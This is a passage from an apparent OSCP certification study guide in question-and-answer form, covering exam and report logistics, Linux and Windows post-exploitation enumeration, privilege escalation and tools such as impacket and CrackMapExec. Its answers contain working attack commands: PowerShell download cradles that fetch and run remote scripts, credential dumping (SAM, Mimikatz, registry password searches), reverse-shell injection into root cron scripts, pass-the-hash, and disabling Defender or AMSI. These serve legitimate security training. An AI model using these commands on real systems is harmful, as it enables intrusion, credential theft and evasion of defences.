Proof collection is critical and has specific requirements. Low privilege proof (local.txt): cat /home/user/local.txt or C:\Users\username\Desktop\local.txt – found after user-level access. Root/SYSTEM proof (proof.txt): cat /root/proof.txt or C:\Users\Administrator\Desktop\proof.txt – found after full privilege. Screenshot requirements: ONE screenshot showing: 'whoami' output (must show root or SYSTEM/Administrator), 'hostname' or 'ipconfig' output (confirm which machine), 'cat proof.txt' or 'type proof.txt' content – all visible in same terminal window. Failure modes: proof.txt screenshot without whoami = no credit, proof.txt from non-privileged shell = no credit, different machine hostname = no credit.

Q209 QUESTION

What are OSCP exam time management strategies?

ANSWER

24-hour exam time management: Hours 1-2 — start AutoRecon on all machines, begin manual enumeration of easiest-looking machines. Hours 2-6 — focus on Active Directory set (40 pts — attempt to fully compromise). Hours 6-10 — work on standalone machines with most promising attack vectors. Hours 10-16 — continue standalones, revisit stuck machines with fresh perspective. Hours 16-20 — sleep 4 hours (critical — fresh eyes find what tired eyes miss). Hours 20-24 — complete any remaining machines, ensure all proofs collected and documented. Triage early: if 70 points earned — ensure report quality for those machines rather than trying for more. Minimum pass: AD set (40) + 1 standalone (20) = 60 + 10 bonus = 70.

Q210 QUESTION

What is the OSCP report markdown template?

ANSWER

OSCP report markdown template structure: # Offensive Security OSCP Exam Report. ## Executive Summary. ### Summary Table (Machine IP | OS | Local Flag | Proof Flag | Highest Privilege). ## Methodology. ## Machine Reports. ### [Machine IP] — [Hostname]. #### Service Enumeration (table of ports/services). #### Initial Access. ##### Vulnerability: [CVE or description]. ##### Steps to Reproduce: (numbered list with commands and screenshots). #### Privilege Escalation. ##### Vulnerability: [description]. ##### Steps to Reproduce. #### Proof Screenshot. (Screenshot showing whoami + hostname + proof.txt content). ## Appendix. Use Obsidian or CherryTree for notes □ export to PDF. Official template from Offensive Security preferred.

Q211 QUESTION

What are common OSCP report mistakes?

ANSWER

Common report mistakes that cost points: (1) Missing proof screenshot — must show whoami + hostname + proof.txt in ONE screenshot; (2) Proof screenshot with wrong privilege level — must be root/SYSTEM; (3) Missing intermediate steps — jumps from 'I found the vulnerability' to 'I got root' without documenting exploitation; (4) Commands not shown — reader cannot reproduce; (5) Wrong machine IP in report — copy-paste error; (6) Fuzzy/unreadable screenshots; (7) Steps not in order — reader gets confused; (8) Missing remediation — required for each finding; (9) No explanation of what was vulnerable — just showing commands is insufficient; (10) Submitted wrong PDF version — double-check before submitting. Peer review: have someone follow your report steps — if they get stuck, add more detail.

Q212 QUESTION

What is the exam screenshot workflow?

ANSWER

OSCP exam screenshot best practices: Tool: Flameshot or Scrot for Linux, built-in Windows screenshot. Naming convention: [machine_IP]_[step]_[description].png (e.g., '192.168.x.x_01_nmap_result.png'). When to screenshot: every significant Nmap result, successful authentication, exploit running, shell received, whoami output, privilege escalation, final proof. Screenshot checklist per machine: initial scan showing ports, gobuster or enumeration output, exploit execution, initial shell (whoami shows low-priv user), PrivEsc execution, final shell (whoami shows root/SYSTEM), proof.txt capture (MUST show whoami + hostname + proof.txt in one screenshot). Storage: organize in folders per machine IP. Never delete screenshots during exam — you may need ones you didn't think were important.

Q213 QUESTION

What are OSCP writing and language tips?

ANSWER

OSCP report writing tips: (1) Professional third-person or first-person consistent tone; (2) Present tense for current state, past tense for actions taken; (3) Specific technical details: 'CVE-2021-41773, an unauthenticated path traversal vulnerability affecting Apache 2.4.49' not 'Apache had a vulnerability'; (4) Numbered steps – one action per step; (5) Include command output after each command; (6) Explain impact: 'This allowed arbitrary command execution as the www-data user, providing an initial foothold on the system'; (7) Remediation recommendation: specific – 'Update Apache to version 2.4.50 or later' not 'Patch the system'; (8) Proofread for grammar – professional document. Report quality reflects professional pentester quality – Offensive Security grades both technical content AND report quality.

Q214 QUESTION

What is the OSCP submission process?

ANSWER

OSCP exam submission process: (1) During exam: submit proofs via exam control panel as you capture them (don't wait until end); (2) After exam ends: 24 hours to write and submit report; (3) Report format: PDF only; (4) Report naming: OSCP-OS-XXXXX-Exam-Report.pdf (XXXXX = your OSID number); (5) Compress: 7z a OSCP-OS-XXXXX-Exam-Report.7z OSCP-OS-XXXXX-Exam-Report.pdf; (6) Upload via Offensive Security exam submission portal; (7) MD5 hash: generate before uploading, provide to portal: 'md5sum OSCP-OS-XXXXX-Exam-Report.7z'. Deadline: exactly 24 hours after exam end time – late submission = no credit regardless of machines compromised. Double-check: correct OSID, correct format, all machines documented, all proofs included.

Q215 QUESTION

What is the difference between local.txt and proof.txt in OSCP?

ANSWER

OSCP exam has two types of proof files per machine. local.txt: located in user home directory (/home/user/local.txt on Linux, C:\Users\username\Desktop\local.txt on Windows). Worth partial credit – proves you achieved user-level access. Does NOT require root or admin to capture. proof.txt: located in privileged directory (/root/proof.txt on Linux, C:\Users\Administrator\Desktop\proof.txt on Windows). Worth full machine credit – requires root on Linux or SYSTEM/Administrator on Windows. Capture strategy: capture local.txt immediately after initial shell – partial credit secured. Then escalate privileges and capture proof.txt for full credit. Screenshot both separately with appropriate whoami output. Even if you cannot escalate, partial credit from local.txt counts toward passing score. Never leave local.txt uncaptured while working on PrivEsc – if you lose shell, you still have partial credit documented.

Q216 QUESTION

What are common OSCP exam failure patterns?

ANSWER

Top exam failure patterns from community reports: Enumeration failure: missing service on high port due to not scanning all 65535 ports – most common reason for inability to find initial access. Time mismanagement: spending 8+ hours on one machine, leaving insufficient time for others and report. Documentation gap: not taking screenshots during exploitation, spending report time trying to recreate steps. Bonus neglect: not submitting bonus report – losing 10 free points that would have meant passing. Sleep deprivation: attempting full 24-hour run – performance degrades severely after 16 hours. Rabbit holes: pursuing one attack vector far beyond reasonable time without pivoting. Panic: AD set seems hard at start, skip it, lose 40 points – should have tried systematically. Buffer overflow prep insufficient: not practicing enough before exam – predictable machine type that should be automatic. Report quality: vague steps without commands, missing screenshots – grader cannot verify. Solution pattern for all: preparation removes these failure modes before exam day.

13 Linux Enumeration Post-Exploitation

14 Qs

Q217 QUESTION

What is the first thing to do after getting a Linux shell in OSCP?

ANSWER

Post-exploitation first steps: (1) Upgrade shell to full TTY (python3 pty.spawn); (2) Basic orientation: 'id' (who am I), 'uname -a' (OS/kernel), 'hostname', 'whoami'; (3) Network: 'ip addr', 'ip route', 'netstat -tulpn' (listening services — may reveal internal services for PrivEsc or pivot); (4) Users: 'cat /etc/passwd', 'ls /home'; (5) Interesting files: 'ls -la' in current directory; (6) History: 'history', 'cat ~/.bash_history'; (7) sudo: 'sudo -l'; (8) Run LinPEAS. Document everything immediately — take notes on all findings. Example: Shell as www-data ▢ 'netstat -tulpn' shows 127.0.0.1:3306 (MySQL local only) ▢ 'find /var/www -name config.php' ▢ DB credentials ▢ 'mysql -u root -p' ▢ credentials work ▢ database has admin hash ▢ crack ▢ sudo.

Q218 QUESTION

What is Linux process enumeration for PrivEsc?

ANSWER

Process enumeration finds services running as privileged users. Commands: 'ps aux' (all processes with users), 'ps -eo pid,ppid,user,command' (formatted output), 'top' (live view). pspy: run without root to see all processes including cron — 'chmod +x pspy64 && ./pspy64'. What to look for: processes running as root that you can interact with, scripts being run by root periodically (cron), services with local-only ports (netstat -tulpn | grep 127.0.0.1). Example: pspy shows every minute: 'root 1234 CMD /usr/local/bin/backup.sh' ▢ 'ls -la /usr/local/bin/backup.sh' ▢ writable by current user ▢ replace with reverse shell ▢ wait 60 seconds ▢ root shell.

Q219 QUESTION

What is internal service discovery for pivoting on Linux?

ANSWER

Internal services not exposed externally are often vulnerable or contain credentials. Discovery: 'netstat -tulpn' or 'ss -tulpn' — shows listening ports. Local-only services: 127.0.0.1:port (only accessible from localhost). Check for: web services on unusual ports (8080, 8443, 8888), databases (3306 MySQL, 5432 PostgreSQL, 27017 MongoDB), admin panels, messaging services. Access via SSH tunnel: 'ssh -L 8080:127.0.0.1:8080 user@target' ▢ browse localhost:8080 on Kali. Example: 'ss -tulpn' shows '127.0.0.1:8888 (LISTEN)' ▢ 'curl http://127.0.0.1:8888/' ▢ Jupyter Notebook without authentication ▢ execute Python code in notebook ▢ reverse shell as jupyter service account (root) ▢ PrivEsc.

Q220 QUESTION

What are interesting Linux files for PrivEsc?

ANSWER

File hunting on Linux for credentials and PrivEsc paths: SSH keys: 'find / -name id_rsa 2>/dev/null', 'find / -name authorized_keys 2>/dev/null'. Config files: 'find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null'. Database files: 'find / -name "*.db" -o -name "*.sqlite" 2>/dev/null'. Environment variables: 'env', 'cat /proc/[PID]/environ'. Recent files: 'find / -type f -newer /tmp -ls 2>/dev/null'. World-writable: 'find / -writable -type f 2>/dev/null | grep -v proc'. Example: 'find /opt -type f 2>/dev/null' reveals '/opt/backup/backup.sh' and '/opt/backup/backup.tar.gz' ▢ extract backup tar ▢ contains /etc/shadow and private SSH key ▢ crack shadow or use SSH key ▢ root access.

Q221 QUESTION

What is network enumeration from compromised Linux host?

ANSWER

Internal network discovery from compromised Linux machine. Host discovery: 'for i in \$(seq 1 254); do ping -c1 -W1 192.168.x.\$i && /dev/null && echo 192.168.x.\$i is up; done' (ping sweep). Port scan without Nmap: 'for port in 22 80 443 445 3389; do (echo >/dev/tcp/192.168.x.x/\$port) && /dev/null && echo \$port open; done'. With Nmap binary (if static binary uploaded): './nmap -sT -p 22,80,443,445,3389 192.168.x.0/24'. ARP table: 'arp -a' (reveals recently communicated hosts). Routing table: 'ip route' or 'route -n' — shows connected networks. Example: 'ip route' shows routes to 192.168.1.0/24 (attacker network) and 192.168.2.0/24 (internal network) □ new subnet discovered □ pivot through this machine to reach 192.168.2.0/24.

Q222 QUESTION

What is privilege escalation enumeration order on Linux?

ANSWER

Linux PrivEsc enumeration order (most □ least common OSCP finds): (1) 'sudo -l' — unrestricted sudo or specific commands on GTFOBins is quickest win; (2) SUID binaries: 'find / -perm -u=s -type f 2>/dev/null' — check each on GTFOBins; (3) Writable cron scripts: pspy + check cron files; (4) Kernel version: 'uname -r' + linux-exploit-suggester; (5) NFS no_root_squash: 'cat /etc/exports'; (6) Capabilities: 'getcap -r / 2>/dev/null'; (7) Path hijacking: check SUID script contents; (8) Writable /etc/passwd; (9) World-readable /etc/shadow; (10) LD_PRELOAD in sudo env_keep; (11) Services running as root with exploitable local ports. Run in this order — most OSCP machines have answer in top 5.

Q223 QUESTION

What is environmental variable exploitation in Linux?

ANSWER

Environment variables can be exploited in several ways. LD_PRELOAD: if preserved in sudo (env_keep), load malicious shared library before all others. LD_LIBRARY_PATH: similar to LD_PRELOAD. PATH manipulation: if SUID program calls commands without full path and attacker controls PATH directory. Sudo env variables: 'sudo -l' shows 'env_keep+=LD_PRELOAD' □ exploit. Check env on SUID program: 'ltrace ./suid_program 2>&1 | head' — shows library calls, environment checks. Inspect SUID binary: 'strings ./suid_binary | grep -i path' □ reveals path-dependent calls. Example: SUID binary calls 'system("service apache2 status")' □ 'service' without full path □ create /tmp/service □ 'export PATH=/tmp:\$PATH' □ run SUID binary □ /tmp/service executes as root.

Q224 QUESTION

What is readable SSH key exploitation?

ANSWER

SSH private keys allow passwordless authentication if found and readable. Find: 'find / -name id_rsa -readable 2>/dev/null', 'find /home -name .ssh -type d 2>/dev/null'. Common locations: /home/user/.ssh/id_rsa, /root/.ssh/id_rsa, /var/www/.ssh/id_rsa, /opt/app/.ssh/id_rsa, backup files. Use key: 'chmod 600 id_rsa && ssh -i id_rsa user@hostname'. Passphrase-protected: 'ssh2john id_rsa > id_rsa.hash && john id_rsa.hash --wordlist=rockyou.txt'. Find corresponding user: 'cat /home/user/.ssh/authorized_keys' (shows which public key). OSCP tip: always check all home directories for .ssh folders — 'ls -la /home/*/.ssh/' — and check /root/.ssh/ if accessible via other methods.

Q225 QUESTION

What is the `/proc` filesystem for Linux enumeration?

ANSWER

`/proc` filesystem reveals runtime process information. `/proc/self/environ`: environment variables of current process — may contain passwords, API keys. `/proc/[PID]/cmdline`: command line of process — passwords passed as arguments. `/proc/[PID]/environ`: environment of specific process. `/proc/net/tcp`: network connections in hex format. `/proc/1/maps`: memory map of init process. Use in LFI: include `/proc/self/environ` via LFI `□` inject PHP in `HTTP_USER_AGENT` `□` RCE. Read all processes: 'for pid in `/proc/[0-9]*/cmdline`; do echo -n "PID: "; echo \$pid | grep -o "[0-9]*"; cat \$pid; echo; done 2>/dev/null | grep -i pass'. Example: LFI includes `/proc/self/cmdline` `□` reveals: 'python3 app.py --db-password SuperSecret123' `□` database credentials in process arguments.

Q226 QUESTION

What are misconfigured sudo examples in OSCP?

ANSWER

Common sudo misconfigurations: 'ALL=(ALL) NOPASSWD: ALL' (complete root access), '(root) NOPASSWD: /usr/bin/vim' (GTFOBins escape), '(root) NOPASSWD: /usr/bin/python3 /opt/script.py' (if script.py writable), '(root) NOPASSWD: /bin/bash' (just run bash), '(root) NOPASSWD: /usr/bin/find' (GTFOBins: find . -exec /bin/bash \;), '(root) NOPASSWD: /usr/bin/wget' (overwrite `/etc/passwd`), '(root) NOPASSWD: /usr/bin/curl' (read/write files). LD_PRELOAD escape if env_keep: any sudo program with malicious LD_PRELOAD `□` root. Wildcard in sudo: 'NOPASSWD: /usr/bin/python3 /opt/*.py' `□` create `/opt/evil.py` `□` 'sudo python3 /opt/evil.py'. Example: 'sudo find / -name "*.log" -exec rm {} \;' `□` append '-exec /bin/bash \;' to find command `□` root shell from find.

Q227 QUESTION

What is SUID binary enumeration beyond GTFOBins?

ANSWER

When SUID binary is not on GTFOBins: analyze what it does. Strings: 'strings /usr/local/bin/custom_suid' — reveals hardcoded paths, function calls, library names. ltrace: 'ltrace /usr/local/bin/custom_suid' — shows library function calls (system(), popen(), etc.). strace: 'strace /usr/local/bin/custom_suid' — shows system calls, file accesses, network. Read binary: if it's a script (bash/python), readable content directly. Shared libraries: 'ldd /usr/local/bin/custom_suid' — if library in writable location, DLL hijack. Reverse engineering: Ghidra or radare2 for C binaries. Example: strings reveals SUID binary calls 'system("/usr/bin/backup.sh")' `□` /usr/bin/backup.sh writable `□` replace with reverse shell `□` run SUID binary `□` root shell (common CTF/OSCP pattern).

Q228 QUESTION

What is world-writable directory exploitation in Linux?

ANSWER

World-writable directories allow any user to create/modify files — exploitable in various scenarios. Find: 'find / -writable -type d 2>/dev/null'. Exploit scenarios: (1) World-writable `/tmp` or `/var/tmp` already known; (2) World-writable directory in PATH `□` place malicious commands; (3) World-writable directory where root-owned scripts write output `□` symlink attack; (4) World-writable `/etc/update-motd.d/` `□` scripts run as root when SSH login; (5) World-writable service configuration directory. Symlink attack: root cron creates `/var/log/app.log` `□` create symlink `/var/log/app.log` `□` `/etc/passwd` `□` cron writes to `/etc/passwd` `□` corrupt or inject. Example: 'ls -la /etc/update-motd.d/' shows world-writable `□` add reverse shell to 00-header script `□` wait for SSH login `□` root reverse shell executed.

Q229 QUESTION

What is the difference between `/bin/sh` and `/bin/bash` in OSCP shells?

ANSWER

`/bin/sh` is the POSIX shell — minimal, available everywhere, may be symlinked to `dash`, `ash`, or `bash` depending on the system. `/bin/bash` is the Bourne Again Shell — more features, job control, arrays, but not always available. OSCP relevance: reverse shell commands using `/bin/sh` are more portable but lack job control (`Ctrl+C` kills session). `/bin/bash` with `-i` flag provides interactive session. When upgrading shell: use `python3 pty.spawn('/bin/bash')` — explicitly requests `bash`. If `/bin/bash` not available: try `/bin/sh`, `/bin/ash`, `/usr/bin/bash`. Shell detection: `'echo $0'` shows current shell, `'which bash'` shows if `bash` is installed. SUID exploitation: `'/bin/bash -p'` requires `bash` — if only `sh` available, try `'sh -p'`. Webshells: `'system("bash -c ...")'` more reliable than `'system("sh -c ...")'` on modern Linux. Always specify full path to avoid `PATH`-dependent behavior.

Q230 QUESTION

What is Linux PrivEsc quick wins list?

ANSWER

Linux PrivEsc quick wins prioritized by frequency in OSCP: Most common (80% of machines): `sudo -l` with `NOPASSWD` entry — check `GTFOBins` for that binary. SUID binary on `GTFOBins` — `'find / -perm -4000 2>/dev/null'`, check each result at gtfobins.github.io. Common (15% of machines): Writable cron script running as root — `pspy` reveals it, inject reverse shell. World-writable `/etc/passwd` — add new root user. Writable service config or binary — replace with shell. Less common (5% of machines): Kernel exploit — `uname -r + linux-exploit-suggester`. NFS `no_root_squash` — `showmount -e`. Capabilities with `setuid` — `getcap -r / 2>/dev/null`. `LD_PRELOAD` in `sudo env_keep` — compile shared library. Path injection via SUID binary — `strings` reveals relative command calls. OSCP efficiency tip: `'sudo -l'` takes 1 second and is right 40% of the time — always run it first before anything else. SUID check takes 2 seconds and catches another 30%. These two checks alone solve majority of OSCP Linux machines.

14 Windows Enumeration Post-Exploitation

14 Qs

Q231 QUESTION

What are the first steps after getting a Windows shell in OSCP?

ANSWER

Windows post-exploitation first steps: (1) Basic info: 'whoami', 'whoami /priv', 'whoami /groups', 'systeminfo'; (2) Users: 'net user', 'net localgroup administrators'; (3) Network: 'ipconfig /all', 'netstat -an', 'route print'; (4) Running processes: 'tasklist /v'; (5) Scheduled tasks: 'schtasks /query /fo LIST /v'; (6) Services: 'sc query state= all', 'wmic service list brief'; (7) Passwords: 'reg query HKLM /f password /t REG_SZ /s'; (8) Run WinPEAS: transfer and execute. Document every credential, every unusual service, every writable path. Example: 'whoami /priv' shows SeImpersonatePrivilege $\square$ PrintSpoofer exploitation path identified immediately — document and execute.

Q232 QUESTION

What are Windows internal services for pivoting?

ANSWER

Internal Windows services for lateral movement and pivoting. Check listening ports: 'netstat -an | findstr LISTENING'. Local-only services (127.0.0.1): database servers, admin web panels, services not exposed externally. Port forward to reach: 'plink.exe -L 8080:127.0.0.1:8080 user@kali' or Chisel. Common findings: SQL Server on 127.0.0.1:1433 with Windows auth (try current user's credentials), IIS admin on 127.0.0.1:8080, internal web apps. Netsh port proxy: 'netsh interface portproxy add v4tov4 listenport=1433 listenaddress=0.0.0.0 connectport=1433 connectaddress=127.0.0.1' $\square$ SQL Server accessible externally. Example: Internal Jenkins on 127.0.0.1:8080 $\square$ port forward $\square$ access Jenkins $\square$ script console $\square$ system command $\square$ RCE.

Q233 QUESTION

What are Windows credential locations for OSCP?

ANSWER

Comprehensive Windows credential hunting: Registry: 'reg query HKLM /f password /t REG_SZ /s' and HKCU equivalent. PowerShell history: '%APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'. Unattend files: 'dir /s /b C:\Windows\Panther\unattend.xml', sysprep.xml, sysprep.inf. Web configs: 'dir /s /b C:\inetpub\web.config'. Application configs: search for .config, .ini, .xml with passwords. SAM database: 'reg save HKLM\SAM c:\sam' (admin needed). Scheduled task credentials: 'schtasks /query /fo LIST /v | findstr /i pass'. Credential Manager: 'cmdkey /list'. IIS app pool credentials: 'appcmd list apppools /processModel.userName:* /processModel.password:*'. Example: 'findstr /si password *.xml *.ini *.txt *.config' in C:\ $\square$ finds config.ini with 'dbpassword=DBAdmin2019' $\square$ try as domain credential.

Q234 QUESTION

What is Windows network enumeration post-exploitation?

ANSWER

Internal network discovery from Windows machine. ARP table: 'arp -a' (recently communicated hosts). Ping sweep: 'for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.x.%i | findstr /c:"Reply from"'. PowerShell ping sweep: '1..254 | %{\$ip="192.168.x.\$_"; if(Test-Connection -ComputerName \$ip -Count 1 -Quiet){Write-Host "\$ip is up"}}'. SMB discovery: 'net view /domain', 'net view'. ARP scan via PowerShell is faster. Nmap for Windows: transfer nmap.exe or use PowerShell port scan. Domain computers: 'net group "Domain Computers" /domain'. Example: 'arp -a' shows 192.168.x.1-192.168.x.20 in table — active hosts discovered — check each for SMB, RDP, WinRM with harvested credentials.

Q235 QUESTION

What are PowerShell download cradles for OSCP?

ANSWER

PowerShell download cradles load tools into memory or download to disk. Basic download + execute: 'IEX(New-Object Net.WebClient).DownloadString("http://IP/script.ps1")'. Download to file: '(New-Object Net.WebClient).DownloadFile("http://IP/tool.exe","C:\Temp\tool.exe")'. Alternative methods (proxy/bypass detection): 'Invoke-WebRequest -Uri http://IP/file -OutFile C:\Temp\file'. Bypass TLS: '[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\$true}' then download from HTTPS. Base64 one-liner: 'powershell -EncodedCommand [base64 of script]'. Execution policy bypass: 'powershell -ExecutionPolicy Bypass -c "IEX..."'. Example: Shell as low-priv user `[IEX(New-Object Net.WebClient).DownloadString("http://kali_IP/PowerUp.ps1")] [Invoke-AllChecks] [AlwaysInstallElevated detected] [exploit] [SYSTEM]`.

Q236 QUESTION

What are Windows privilege enumeration commands?

ANSWER

Windows privilege enumeration: Current user: 'whoami && whoami /priv && whoami /groups'. System info: 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)". Users: 'net user' (local), 'net user /domain' (domain), 'net user [username]' (details). Groups: 'net localgroup' (all groups), 'net localgroup administrators' (admin members). Processes: 'tasklist /v /fi "username ne N/A"' (processes with usernames). Services: 'sc query state= all | findstr SERVICE_NAME', 'wmic service get name,displayname,startmode,pathname | findstr /i /v SystemRoot'. Scheduled tasks: 'schtasks /query /fo LIST /v | findstr /B "TaskName\|Run As User\|Task To Run"'. Registry run: 'reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'.

Q237 QUESTION

What is Windows credential manager exploitation?

ANSWER

Windows Credential Manager stores credentials for network resources, websites, apps. List: 'cmdkey /list' — shows stored credentials. Types: Windows credentials (network auth), Certificate credentials, Generic credentials (apps, websites). Use stored credentials: 'runas /savecred /user:domain\admin cmd' — runs cmd as admin using saved credential (no password prompt). Mimikatz: 'vault::list' + 'vault::cred /patch' — dumps vault credentials. DPAPI: credentials encrypted `[Mimikatz 'sekurlsa::dpapi' decrypts master keys [decrypt individual blobs. dpapi.py (impacket): offline decryption with master key. Example: 'cmdkey /list' shows 'TERMSRV/fileservr.corp.local admin' [runas /savecred /user:corp\admin cmd] [cmd runs as domain admin without knowing password.`

Q238 QUESTION

What is Windows application data hunting?

ANSWER

Application data contains valuable credentials and configuration. Common application credential locations: IIS: 'type C:\inetpub\wwwroot\web.config | findstr pass', applicationHost.config in C:\Windows\System32\inetsrv\, XAMPP: C:\xampp\htdocs\ — find config files. FileZilla FTP server: C:\Program Files\FileZilla Server\FileZilla Server.xml (credentials in cleartext). TightVNC: registry 'reg query HKLM\SOFTWARE\TightVNC /s | findstr Password'. PuTTY saved sessions: 'reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions /s | findstr HostName\|UserName\|Password'. mRemoteNG: C:\Users\[user]\AppData\Roaming\mRemoteNG\confCons.xml (encrypted passwords, crackable). Example: mRemoteNG confCons.xml found `[decrypt passwords [RDP credentials to 5 servers [domain admin access.`

Q239 QUESTION

What is Windows event log analysis for OSCP?

ANSWER

Event logs reveal system activity and may expose credentials or attack paths. Check logs: 'wevtutil qe System /c:50 /rd:true /f:text', PowerShell: 'Get-EventLog -LogName Security -Newest 50'. Interesting events: 4624 (successful logon — reveals username, logon type, source IP), 4625 (failed logon — brute force evidence), 4688 (process creation — if audited, reveals commands), 4698 (scheduled task created), 4720 (user account created). Security log cleared (event 1102): suggests attacker active. PowerShell logging: 4103/4104 — script block logging shows PowerShell commands. Example: Security log shows event 4624 with LogonType 3 (network logon) for user 'backup_svc' from 192.168.x.x □ svcbackup has been authenticating from another machine □ pivot target.

Q240 QUESTION

What are Windows alternative data streams (ADS) in OSCP?

ANSWER

Alternative Data Streams are hidden data streams in NTFS files — used to hide files and data. Malware uses ADS to hide payloads. View ADS: 'dir /r' — shows ADS streams, 'more < file.txt:hidden_stream' — read ADS content. Execute from ADS: 'wmic process call create "cmd.exe /c C:\path\file.txt:malware.exe"'. Create ADS: 'echo malicious_code > legit.txt:hidden'. Find ADS: 'dir /r /s /a C:\' (recursive), PowerShell: 'Get-Item -Path C:\path* -Stream *'. OSCP context: ADS may be used in CTF-style OSCP machines to hide flags or credentials. Also used for data exfiltration — hide stolen data in legitimate files. Example: 'dir /r' shows 'file.txt:secret.txt' — 'more < file.txt:secret.txt' reveals hidden content containing credentials.

Q241 QUESTION

What is Windows antivirus detection and bypass concepts for OSCP?

ANSWER

Windows AV understanding for OSCP: Detection methods: (1) Signature-based (known malware hashes/patterns), (2) Heuristic (behavior analysis), (3) AMSI (PowerShell/script scanning). Bypass approaches: change payload enough that hash changes (msfvenom encoders), use custom shellcode loaders written in C/Go (novel binaries), run payload in memory (no file on disk), use LOLBins, AMSI bypass for PowerShell. OSCP exam: AV may or may not be present on machines. Try raw payload first □ if caught □ encode □ if still caught □ write custom loader. Check AV: 'Get-MpPreference' (Windows Defender settings), 'sc query windefend' (Defender service). Disable (if admin): 'Set-MpPreference -DisableRealTimeMonitoring \$true'. OSCP focus: understand basics, exam machines generally allow standard payloads.

Q242 QUESTION

What are Windows group policy security settings for OSCP?

ANSWER

Group Policy reveals security configuration and potential weaknesses. View applied policies: 'gpresult /R' (current user and computer policies), 'gpresult /H gpo_report.html /F' (full HTML report). Interesting policies: AppLocker (application whitelisting — what can execute?), PowerShell logging (is PSH being logged?), LAPS (randomizes local admin passwords — if deployed, no local admin reuse), Credential Guard, UAC settings, Audit policies. GPO files: 'dir \\domain\SYSVOL\corp.local\Policies /s' — GPO files accessible by all domain users. GPP passwords: old GPOs may contain passwords in Groups.xml — 'findstr /s /i "cpassword" \\domain\SYSVOL' — default AES key known, decryptable. Example: GPP password found in SYSVOL □ decrypt with gpp-decrypt □ domain user credentials □ lateral movement.

Q243 QUESTION

What is Windows lateral movement with evil-winrm?

ANSWER

evil-winrm is the best tool for Windows post-exploitation when WinRM (port 5985 or 5986) is accessible. Installation: 'gem install evil-winrm'. Basic login: 'evil-winrm -i IP -u username -p password'. Hash login: 'evil-winrm -i IP -u username -H NTLM_HASH'. Features: file upload/download built-in ('upload local remote', 'download remote local'), load PowerShell scripts at startup (-s flag), AMSI bypass built-in (-A flag), SSL support (-S flag). Load tools: 'evil-winrm -i IP -u admin -p pass -s /opt/tools/ps/' then 'PowerUp.ps1' in session to load. Menu commands: 'menu' shows available features. Bypass AV: '-A' flag enables built-in AMSI bypass. Remote script execution: load PowerSploit or other PS tools directly in session. Example: Domain user compromised, evil-winrm to domain-joined server, upload SharpHound.exe, run it, download output zip, import to BloodHound, attack path found.

Q244 QUESTION

What is Windows PrivEsc quick wins list?

ANSWER

Windows PrivEsc prioritized list for OSCP: Immediate wins (check first, 5 seconds): 'whoami /priv' — SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege = PrintSpoofer to SYSTEM right now. Fast wins (5-10 minutes): AlwaysInstallElevated — both reg keys set, msfvenom MSI, msixexec. Tomcat/Jenkins with default creds and admin deployment = code execution. Standard wins (10-20 minutes): Unquoted service path with writable parent directory — place malicious exe, restart service. Scheduled task as SYSTEM with writable script. Stored credentials — Credential Manager, PowerShell history, unattend.xml. Service binary writable — replace, restart. Registry autorun writable — replace binary. Research wins (20-40 minutes): Kernel exploit — systeminfo + Windows-Exploit-Suggester, compile, run. DLL hijacking — WinPEAS finds, compile DLL. WinPEAS automated (run immediately): catches everything above plus more. Always run WinPEAS first — review red findings before any manual checks. SeImpersonatePrivilege is the most common OSCP Windows PrivEsc — practice PrintSpoofer until it is automatic.

15 OSCP Tools Reference

14 Qs

Q245 QUESTION

What are the essential OSCP tools by category?

ANSWER

OSCP tool categories: Scanning: Nmap, Masscan, AutoRecon; Web: Burp Suite, gobuster, feroxbuster, Nikto, wpscan, sqlmap; Exploitation: Metasploit (1 machine in exam), searchsploit; Password: Hashcat, John the Ripper, Hydra, CrackMapExec; AD Attacks: impacket suite, BloodHound, CrackMapExec, evil-winrm, Rubeus, Mimikatz; Tunneling: Chisel, ligolo-ng, SSH, socat; Post-Exploitation: LinPEAS, WinPEAS, PowerUp, Seatbelt, pspy; File Transfer: Python HTTP server, Netcat, curl, wget, certutil. Not allowed in exam: AI assistants, internet exploit databases (except what you downloaded beforehand to searchsploit). Prep: install all tools on Kali, test them in lab, know syntax by heart.

Q246 QUESTION

What is impacket suite in OSCP?

ANSWER

Impacket is a Python collection of network protocol tools for Windows/AD attacks. Key tools: secretsdump.py (dump hashes remotely or from files), psexec.py (remote shell via SMB), wmiexec.py (remote shell via WMI — stealthier), smbclient.py (SMB client), GetUserSPNs.py (Kerberoasting), GetNPUsers.py (AS-REP Roasting), smbserver.py (SMB file share server), mssqlclient.py (MSSQL client), atexec.py (execute via task scheduler), lookupsid.py (SID enumeration). Usage prefix: 'impacket-[toolname]' on Kali. Example: 'impacket-secretsdump -sam sam -system system LOCAL' □ extracts NTLM hashes from registry hive files. 'impacket-psexec administrator:password@192.168.x.x' □ SYSTEM shell via SMB.

Q247 QUESTION

What is CrackMapExec (CME/NetExec) in OSCP?

ANSWER

CrackMapExec (now NetExec/nxc) is Swiss army knife for Windows/AD network attacks. SMB operations: 'crackmapexec smb 192.168.x.0/24' (host discovery), '--shares' (list shares), '--sam' (dump SAM — admin needed), '--lsa' (dump LSA secrets), '--users' (list domain users), '--groups' (list groups), '-x "command"' (execute command). Credential testing: 'crackmapexec smb 192.168.x.0/24 -u admin -p password' □ [+] = login success, [*] = Pwn3d (admin). Pass-the-hash: '-H [NT hash]'. Multiple protocols: smb, winrm, ssh, ldap, mssql, rdp. Generate relay target list: '--gen-relay-list targets.txt'. Example: 'crackmapexec smb 192.168.x.0/24 -u administrator -H [hash] --sam' □ tests hash on all hosts □ dumps SAM of accessible machines □ new credential dump for further attacks.

Q248 QUESTION

What is evil-winrm for OSCP?

ANSWER

